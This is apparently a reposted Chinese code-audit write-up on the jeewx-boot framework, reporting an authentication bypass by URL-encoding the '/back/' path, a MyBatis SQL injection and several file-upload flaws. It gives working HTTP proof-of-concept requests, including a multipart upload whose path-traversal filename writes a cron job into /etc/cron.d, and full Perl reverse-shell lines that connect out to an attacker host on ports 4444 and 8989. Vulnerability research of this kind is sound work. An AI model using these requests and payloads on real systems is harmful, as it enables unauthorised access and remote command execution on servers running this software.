0x00 前言
在最近的挖洞过程中,遇到了一个jeewx-boot
,发现其在github
上有源码,就对该项目进行了代码审计。
0x01 未授权访问漏洞
这个项目base-system
是主要的模块,JeewxBootApplication
是启动类。
查看interceptors
的拦截器。
这里只是对用户请求的访问地址是否存在/back/
进行判断,根据之前的学习,在spring mvc
的全版本中存在url
编码的方式进行绕过。
web
验证:
对c
进行url
编码后,成功未授权。
poc
:
GET /jeewx/system/ba%63k/jwSystemUser/list.do HTTP/1.1
Host: 10.27.2.192
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=A10F2A55030557C1431BDDA8757AB0B1
Connection: close
0x02 SQL注入
项目使用了Mybatis
,使用codeql
辅助分析。
jeewx-boot-1.0.0/jeewx-boot-module-weixin/src/main/java/com/jeecg/p3/commonweixin/service/impl/WeixinSystemProjectServiceImpl.java
该类editHdurl
方法存在问题。
发现其使用${}
连接sql
语句。
web
验证,之前搭的环境掉了,找一个github
的图。
0x03 文件上传
通过codeql
的CWE-022
的TaintedPath.ql
发现多处可能存在文件上传漏洞的。
3.1 cmsAd#doUploadFile【未成功利用】
关键代码如下:
这里获取文件名称后,未对文件格式进行校验,只是对文件名称进行了重命名操作。
做了如下操作:
上传1.jsp
1. 获取截取最后一个.之后的值,即.jsp
2. 截取最后一个.之前的值,即1
3. 文件重命名为1+时间戳+.jsp
如果按照之前的分析,该系统会存在文件上传漏洞,但是重点在于其request
为MultipartHttpServletRequest
,springboot
无法解析jsp
文件。
所以这里虽然可以上传文件,但是无法解析webshell
。
根据网上的思路,如果没有对../
进行限制,可以跨路径上传任意文件。利用起来的思路限制于linux
的定时任务。
这里添加一个附属的知识:
使用 SpringBoot
中当没有自己手动配置的情况下默认使用的是StandardMultipartFile
。在这种情况下直接通过 getOriginalFilename
方法获取文件名后,不进行处理就使用会造成目录穿越漏洞。
(1)上传
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../var/spool/cron/crontabs/root
文件。
但是因为此处的文件重命名操作的逻辑,无法利用,无后缀名的文件,会在../
处添加时间戳的文件夹,导致无法进行准确的匹配路径。
(2)在进行文件上传时进行了后缀检查,如果不是xlsx
或者xls
后缀的话,拒绝请求。因为/etc/cron.d
/目录下的文件可以任意后缀命名,那么此时可以上传文件名为…/…/…/…/…/…/etc/cron.d/test.xls
绕过对应的安全检查。
复现过程中发现,同var/spool/cron/crontabs
下的路径一样,必须得无文件后缀名,才会执行定时任务反弹shell
。
复现不成功!!!
3.2 jwSystemActTxt#doupload
查看代码,进行了如下操作:
上传444.jpg
1. 获取其后缀名.jpg
2. imgurl的值为当前的日期(/2023/02/28)+随机uid+.jpg的格式
3. 存储路径前添加/upload/img/fx
4. 如果文件不存在,就创建这个文件为路径[dir直接创建了带有.jpg的路径,而不是文件,从而无法执行后续操作]
根据上述描述,这里只截取文件后缀,然后名称是随机的。无法进行任意文件路径写入。
且因存在bug
,无法进行文件上传。
3.3 jwSystemProject#doUpload【Linux下可利用】
没有对文件名称进行处理,也没有对../
进行限制,可通过写入计划任务的方式进行反弹shell
。
验证:
上传文件名如下:
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d/root1
Alpine
系统文件内容如下:
*/1 * * * * root perl -e 'use Socket;$i="192.168.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
此处需要注意的是必须带着##
符号。
ubuntu
系统文件名如下:
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../var/spool/cron/crontabs/ro
文件内容如下:
*/1 * * * * perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
以kali
为例:
poc
:
POST /jeewx/system/ba%63k/jwSystemProject/doUpload.do HTTP/1.1
Host: 192.168.0.130
Content-Length: 1105
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6TEqfAKmRAkb47k6
Accept: */*
Origin: http://192.168.0.1
Referer: http://192.168.0.1/jeewx/system/back/jwSystemProject/toEdit.do?id=4e450f396b294d94a1ff29b50adb50a4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=941EEF7FA994C93487C28DB1DD0CC472; Hm_lvt_098e6e84ab585bf0c2e6853604192b8b=1669012102; Hm_lvt_6f6dcdf1cf6beff0de1b03f3e959c679=1677550367; Hm_lpvt_6f6dcdf1cf6beff0de1b03f3e959c679=1677551895
Connection: close
------WebKitFormBoundary6TEqfAKmRAkb47k6
Content-Disposition: form-data; name="id"
WU_FILE_0
------WebKitFormBoundary6TEqfAKmRAkb47k6
Content-Disposition: form-data; name="name"
333.png
------WebKitFormBoundary6TEqfAKmRAkb47k6
Content-Disposition: form-data; name="type"
image/png
------WebKitFormBoundary6TEqfAKmRAkb47k6
Content-Disposition: form-data; name="lastModifiedDate"
Wed Sep 09 2020 15:28:26 GMT+0800 (ä¸å½æ åæ¶é´)
------WebKitFormBoundary6TEqfAKmRAkb47k6
Content-Disposition: form-data; name="size"
11772
------WebKitFormBoundary6TEqfAKmRAkb47k6
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d/root1"
Content-Type: image/png
*/1 * * * * root perl -e 'use Socket;$i="192.168.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
------WebKitFormBoundary6TEqfAKmRAkb47k6--
也可参考:
https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks
尝试RCE
,但是有一定概率因为编码问题无法成功,但是如果服务器重启或服务重新部署,就会产生RCE
。
3.4 myJwWebJwid#doUpload
对文件进行了重命名。
且必须包含后缀,无法进行利用。
3.5 weixinNewsitem#doUpload
同之前类似,对文件进行了重命名,且必须包含后缀,无法进行利用。
0x04 结语
本篇文章是对jeewx-boot
框架进行的代码审计,通过codeql
辅助进行审计,就使用体验来说还是蛮不错的。
原文始发于微信公众号(黑白之道):『代码审计』jeewx-boot 代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论